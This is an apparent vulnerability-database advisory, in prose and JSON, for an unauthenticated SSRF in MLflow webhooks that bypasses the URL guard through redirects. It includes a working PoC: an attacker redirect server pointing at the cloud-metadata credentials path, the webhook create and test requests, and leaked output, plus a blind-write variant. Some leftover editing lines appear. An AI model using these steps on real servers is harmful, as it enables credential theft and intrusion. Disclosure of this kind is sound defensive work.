PYSEC-2026-3687
Vulnerability from pysec - Published: 2026-08-19 11:56 - Updated: 2026-08-19 12:16Summary
The default MLflow Tracking Server (mlflow server, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous POST /api/2.0/mlflow/webhooks/{id}/test endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (_validate_webhook_url, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no allow_redirects=False) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns 302 Location: http://169.254.169.254/... (or http://127.0.0.1:...); MLflow follows it and never re-validates the redirect target. Because /test reflects the response body, this is an unauthenticated full-read SSRF on a default server.
Details
Three facts combine:
-
Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (
mlflow/server/auth/__init__.py,WEBHOOK_BEFORE_REQUEST_HANDLERS), which is not loaded by default. -
The guard validates but pins nothing —
mlflow/utils/validation.py_validate_webhook_url:
schemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get() # default ["https"]
if parsed_url.scheme not in schemes: raise ...
if not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get(): # default False
for addr_info in socket.getaddrinfo(hostname, None):
ip = ipaddress.ip_address(addr_info[4][0])
if not ip.is_global: raise ... # blocks RFC1918/loopback/link-local/metadata
The resolved IP is never carried into the connection.
- Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py:
def _create_webhook_session():
adapter = HTTPAdapter(max_retries=retry_strategy) # retry only; no IP pinning
...
def _send_webhook_request(webhook, payload, event, session):
_validate_webhook_url(webhook.url) # re-validates the ORIGINAL url only
return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)
# no allow_redirects=False -> 302 followed; redirect Location never re-validated
test_webhook returns response_status and response_body to the caller. Bypass vectors:
Redirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it. DNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.
PoC
All requests are unauthenticated, sent to the MLflow tracking server ({{TARGET}}). The SSRF
fetch is performed by the MLflow server itself; the internal response is reflected back in the
/test response. {{ATTACKER}} is a host the researcher controls that resolves to a public IP
and serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.
Attacker redirect server (on {{ATTACKER}}, valid TLS cert): nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }
Step 0 — negative control (proves the guard is active; the naive internal URL is rejected):
POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}
-> 400 {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."}
(an https://127.0.0.1/ variant is likewise rejected as a non-public IP)
Step 1 — create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url):
POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"name":"poc","url":"https://{{ATTACKER}}/innocent","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}
-> 200 {"webhook":{"webhook_id":"<WEBHOOK_ID>", ... ,"status":"ACTIVE"}}
Step 2 — fire it via the unauthenticated /test endpoint; the internal response body is returned:
POST /api/2.0/mlflow/webhooks/<WEBHOOK_ID>/test HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"webhook_id":"<WEBHOOK_ID>","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}}
-> 200 {"result":{"success":true,"response_status":200,
"response_body":"<contents of http://169.254.169.254/latest/meta-data/... fetched by the server>"}}
Confirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting to a local secret service, Step 2 returned: "response_body":"INTERNAL_SECRET=mlflow_ssrf_proof_7f3a91\nrole=admin\n"
For convenience, the "my secret data" is saved in the same location.
Notes:
- Webhook events enum values must be UPPERCASE proto names (REGISTERED_MODEL, CREATED); lowercase
maps to ENTITY_UNSPECIFIED and 500s.
- Default allowed scheme is https only; the first hop must be https, the redirect Location may be http.
- Webhooks require a SQL store; the default mlflow server (sqlite:///mlflow.db) qualifies. No auth needed.
- Credit / independent discovery: Originally reported privately by @freeman-bb via this advisory on 2026-06-12. The same vulnerability was independently discovered through code review and reported publicly by @AUTHENSOR in issue #24179 on 2026-06-26. Fixed in PR #24258. Discovery priority belongs to @freeman-bb; @AUTHENSOR is credited as an independent finder.
Impact
An unauthenticated attacker who can reach the tracking server makes the server issue HTTP requests to arbitrary internal/loopback/cloud-metadata endpoints and reads the responses via /test: cloud instance-metadata (e.g. AWS IMDS IAM credentials), internal-only admin services behind the network boundary, and internal port/host scanning. The event-driven delivery path gives the same SSRF blindly; /test makes it full-read. This is an incomplete fix of the PR #20747 guard, confirmed present on the latest release (3.13.0) and on master. Not a duplicate of CVE-2025-14279 (browser-side rebinding CSRF, CWE-352).
Fix
Fixed in https://github.com/mlflow/mlflow/pull/24258 (commit ba94952247), which adds connection-time SSRF protection (SSRFProtectedHTTPAdapter): the peer IP of each connected socket is validated against public-IP rules immediately after connect(), before any TLS/HTTP exchange. This covers the redirect targets as well (each redirect opens a new connection through the protected pool), closing both the 302-read and 307/308-write variants and the DNS-rebinding TOCTOU.
Redirect variants
The same missing re-validation enables two distinct primitives depending on the redirect status code:
- 302 (read): the redirect target is fetched with GET and, because
POST /api/2.0/mlflow/webhooks/{id}/testreflects the upstream response body (WebhookTestResult.response_body), the attacker reads arbitrary internal HTTP responses (cloud metadata, internal services). - 307 / 308 (blind write): these preserve the original POST method and body, so the attacker can POST attacker-controlled payloads into private-network management endpoints that act on POST (e.g. Docker daemon
/stop, Elasticsearch/_close, Spring Boot Actuator/shutdown).
Neither requires authentication on a default OSS server.
Then add a fix reference near the top or in a "Remediation" note:
| Name | purl | mlflow | pkg:pypi/mlflow |
|---|
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mlflow",
"purl": "pkg:pypi/mlflow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.15.0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.0.1",
"0.1.0",
"0.2.0",
"0.2.1",
"0.3.0",
"0.4.0",
"0.4.1",
"0.4.2",
"0.5.0",
"0.5.1",
"0.5.2",
"0.6.0",
"0.7.0",
"0.8.0",
"0.8.1",
"0.8.2",
"0.9.0",
"0.9.0.1",
"0.9.1",
"1.0.0",
"1.1.0",
"1.1.1.dev0",
"1.10.0",
"1.11.0",
"1.12.0",
"1.12.1",
"1.13",
"1.13.1",
"1.14.0",
"1.14.1",
"1.15.0",
"1.16.0",
"1.17.0",
"1.18.0",
"1.19.0",
"1.2.0",
"1.20.0",
"1.20.1",
"1.20.2",
"1.21.0",
"1.22.0",
"1.23.0",
"1.23.1",
"1.24.0",
"1.25.0",
"1.25.1",
"1.26.0",
"1.26.1",
"1.27.0",
"1.28.0",
"1.29.0",
"1.3.0",
"1.30.0",
"1.30.1",
"1.4.0",
"1.5.0",
"1.6.0",
"1.7.0",
"1.7.1",
"1.7.2",
"1.8.0",
"1.9.0",
"1.9.1",
"2.0.0",
"2.0.0rc0",
"2.0.1",
"2.1.0",
"2.1.1",
"2.10.0",
"2.10.1",
"2.10.2",
"2.11.0",
"2.11.1",
"2.11.2",
"2.11.3",
"2.11.4",
"2.12.0",
"2.12.1",
"2.12.2",
"2.13.0",
"2.13.1",
"2.13.2",
"2.14.0",
"2.14.0rc0",
"2.14.1",
"2.14.2",
"2.14.2.dev0",
"2.14.3",
"2.15.0",
"2.15.0rc0",
"2.15.1",
"2.16.0",
"2.16.1",
"2.16.2",
"2.17.0",
"2.17.0rc0",
"2.17.1",
"2.17.2",
"2.18.0",
"2.18.0rc0",
"2.19.0",
"2.19.0rc0",
"2.2.0",
"2.2.1",
"2.2.2",
"2.20.0",
"2.20.0rc0",
"2.20.1",
"2.20.2",
"2.20.3",
"2.20.4",
"2.21.0",
"2.21.0rc0",
"2.21.1",
"2.21.2",
"2.21.3",
"2.22.0",
"2.22.0rc0",
"2.22.1",
"2.22.2",
"2.22.3",
"2.22.4",
"2.22.5",
"2.3.0",
"2.3.1",
"2.3.2",
"2.4.0",
"2.4.1",
"2.4.2",
"2.5.0",
"2.6.0",
"2.7.0",
"2.7.1",
"2.8.0",
"2.8.1",
"2.9.0",
"2.9.1",
"2.9.2",
"3.0.0",
"3.0.0rc0",
"3.0.0rc1",
"3.0.0rc2",
"3.0.0rc3",
"3.0.1",
"3.1.0",
"3.1.0rc0",
"3.1.1",
"3.1.2",
"3.1.3",
"3.1.4",
"3.10.0",
"3.10.0rc0",
"3.10.1",
"3.11.0",
"3.11.0rc0",
"3.11.0rc1",
"3.11.1",
"3.12.0",
"3.12.0rc0",
"3.13.0",
"3.13.0rc0",
"3.14.0",
"3.2.0",
"3.2.0rc0",
"3.3.0",
"3.3.0rc0",
"3.3.1",
"3.3.2",
"3.4.0",
"3.4.0rc0",
"3.5.0",
"3.5.0rc0",
"3.5.1",
"3.6.0",
"3.6.0rc0",
"3.7.0",
"3.7.0rc0",
"3.8.0",
"3.8.0rc0",
"3.8.1",
"3.9.0",
"3.9.0rc0"
]
}
],
"aliases": [
"CVE-2026-64849",
"GHSA-7gwp-5pfp-969j"
],
"details": "### Summary\nThe default MLflow Tracking Server (`mlflow server`, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous `POST /api/2.0/mlflow/webhooks/{id}/test` endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (`_validate_webhook_url`, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no `allow_redirects=False`) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns `302 Location: http://169.254.169.254/...` (or `http://127.0.0.1:...`); MLflow follows it and never re-validates the redirect target. Because `/test` reflects the response body, this is an unauthenticated full-read SSRF on a default server.\n\n### Details\nThree facts combine:\n\n1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (`mlflow/server/auth/__init__.py`, `WEBHOOK_BEFORE_REQUEST_HANDLERS`), which is not loaded by default.\n\n2. The guard validates but pins nothing \u2014 `mlflow/utils/validation.py` `_validate_webhook_url`:\n```python\nschemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get() # default [\"https\"]\nif parsed_url.scheme not in schemes: raise ...\nif not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get(): # default False\n for addr_info in socket.getaddrinfo(hostname, None):\n ip = ipaddress.ip_address(addr_info[4][0])\n if not ip.is_global: raise ... # blocks RFC1918/loopback/link-local/metadata\n```\nThe resolved IP is never carried into the connection.\n\n3. Delivery follows redirects and re-resolves with no pinning \u2014 mlflow/webhooks/delivery.py:\n```python\ndef _create_webhook_session():\n adapter = HTTPAdapter(max_retries=retry_strategy) # retry only; no IP pinning\n ...\ndef _send_webhook_request(webhook, payload, event, session):\n _validate_webhook_url(webhook.url) # re-validates the ORIGINAL url only\n return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)\n # no allow_redirects=False -\u003e 302 followed; redirect Location never re-validated\n```\ntest_webhook returns response_status and response_body to the caller.\nBypass vectors:\n\nRedirect-follow (reliable): attacker\u0027s allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it.\nDNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.\n\n### PoC\nAll requests are unauthenticated, sent to the MLflow tracking server (`{{TARGET}}`). The SSRF\nfetch is performed by the MLflow server itself; the internal response is reflected back in the\n`/test` response. `{{ATTACKER}}` is a host the researcher controls that resolves to a public IP\nand serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.\n\nAttacker redirect server (on {{ATTACKER}}, valid TLS cert):\n nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }\n\nStep 0 \u2014 negative control (proves the guard is active; the naive internal URL is rejected):\n\n POST /api/2.0/mlflow/webhooks HTTP/1.1\n Host: {{TARGET}}\n Content-Type: application/json\n\n {\"name\":\"neg\",\"url\":\"http://127.0.0.1:6379/\",\"events\":[{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}]}\n\n -\u003e 400 {\"message\":\"Invalid webhook URL scheme: \u0027http\u0027. Allowed schemes are: https.\"}\n (an https://127.0.0.1/ variant is likewise rejected as a non-public IP)\n\n\u003cimg width=\"1154\" height=\"437\" alt=\"image\" src=\"https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019\" /\u003e\n\n\nStep 1 \u2014 create a webhook pointing at the attacker\u0027s public HTTPS host (passes _validate_webhook_url):\n\n POST /api/2.0/mlflow/webhooks HTTP/1.1\n Host: {{TARGET}}\n Content-Type: application/json\n\n {\"name\":\"poc\",\"url\":\"https://{{ATTACKER}}/innocent\",\"events\":[{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}]}\n\n -\u003e 200 {\"webhook\":{\"webhook_id\":\"\u003cWEBHOOK_ID\u003e\", ... ,\"status\":\"ACTIVE\"}}\n\n\u003cimg width=\"1394\" height=\"520\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9004705f-67e1-486f-a905-1f744eb3636d\" /\u003e\n\n\nStep 2 \u2014 fire it via the unauthenticated /test endpoint; the internal response body is returned:\n\n POST /api/2.0/mlflow/webhooks/\u003cWEBHOOK_ID\u003e/test HTTP/1.1\n Host: {{TARGET}}\n Content-Type: application/json\n\n {\"webhook_id\":\"\u003cWEBHOOK_ID\u003e\",\"event\":{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}}\n\n -\u003e 200 {\"result\":{\"success\":true,\"response_status\":200,\n \"response_body\":\"\u003ccontents of http://169.254.169.254/latest/meta-data/... fetched by the server\u003e\"}}\n\n\u003cimg width=\"1399\" height=\"453\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1e5bb020-0855-4be8-a53b-e97daeabf1dc\" /\u003e\n\n\nConfirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting\nto a local secret service, Step 2 returned:\n \"response_body\":\"INTERNAL_SECRET=mlflow_ssrf_proof_7f3a91\\nrole=admin\\n\"\n\nFor convenience, the \"my secret data\" is saved in the same location.\n\n\u003cimg width=\"730\" height=\"208\" alt=\"image\" src=\"https://github.com/user-attachments/assets/680e1895-6d2e-4fd7-838f-c484561b6e5c\" /\u003e\n\n\n\nNotes:\n- Webhook `events` enum values must be UPPERCASE proto names (REGISTERED_MODEL, CREATED); lowercase\n maps to ENTITY_UNSPECIFIED and 500s.\n- Default allowed scheme is https only; the first hop must be https, the redirect Location may be http.\n- Webhooks require a SQL store; the default `mlflow server` (sqlite:///mlflow.db) qualifies. No auth needed.\n\n- Credit / independent discovery: Originally reported privately by @freeman-bb via this advisory on 2026-06-12. The same vulnerability was independently discovered through code review and reported publicly by @AUTHENSOR in issue #24179 on 2026-06-26. Fixed in PR #24258. Discovery priority belongs to @freeman-bb; @AUTHENSOR is credited as an independent finder.\n\n### Impact\nAn unauthenticated attacker who can reach the tracking server makes the server issue HTTP requests to arbitrary internal/loopback/cloud-metadata endpoints and reads the responses via /test: cloud instance-metadata (e.g. AWS IMDS IAM credentials), internal-only admin services behind the network boundary, and internal port/host scanning. The event-driven delivery path gives the same SSRF blindly; /test makes it full-read. This is an incomplete fix of the PR #20747 guard, confirmed present on the latest release (3.13.0) and on master. Not a duplicate of CVE-2025-14279 (browser-side rebinding CSRF, CWE-352).\n\n### Fix\n\nFixed in https://github.com/mlflow/mlflow/pull/24258 (commit `ba94952247`), which adds connection-time SSRF protection (`SSRFProtectedHTTPAdapter`): the peer IP of each connected socket is validated against public-IP rules immediately after `connect()`, before any TLS/HTTP exchange. This covers the redirect targets as well (each redirect opens a new connection through the protected pool), closing both the 302-read and 307/308-write variants and the DNS-rebinding TOCTOU.\n\n### Redirect variants\n\nThe same missing re-validation enables two distinct primitives depending on the redirect status code:\n\n- **302 (read):** the redirect target is fetched with GET and, because `POST /api/2.0/mlflow/webhooks/{id}/test` reflects the upstream response body (`WebhookTestResult.response_body`), the attacker reads arbitrary internal HTTP responses (cloud metadata, internal services).\n- **307 / 308 (blind write):** these preserve the original POST method and body, so the attacker can POST attacker-controlled payloads into private-network management endpoints that act on POST (e.g. Docker daemon `/stop`, Elasticsearch `/_close`, Spring Boot Actuator `/shutdown`).\n\nNeither requires authentication on a default OSS server.\n\nThen add a fix reference near the top or in a \"Remediation\" note:",
"id": "PYSEC-2026-3687",
"modified": "2026-08-19T12:16:29.428379Z",
"published": "2026-08-19T11:56:27.173497Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mlflow/mlflow/security/advisories/GHSA-7gwp-5pfp-969j"
},
{
"type": "WEB",
"url": "https://github.com/mlflow/mlflow/issues/24179"
},
{
"type": "WEB",
"url": "https://github.com/mlflow/mlflow/pull/24258"
},
{
"type": "WEB",
"url": "https://github.com/mlflow/mlflow/commit/ba949522477cbd5915aa55d29b0cfad7d5ddf939"
},
{
"type": "PACKAGE",
"url": "https://github.com/mlflow/mlflow"
},
{
"type": "WEB",
"url": "https://github.com/mlflow/mlflow/releases/tag/v3.15.0"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/mlflow"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-7gwp-5pfp-969j"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-64849"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "MLflow: Unauthenticated full-read SSRF in webhook delivery: _validate_webhook_url bypassed via unvalidated HTTP redirects (and DNS rebinding)"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.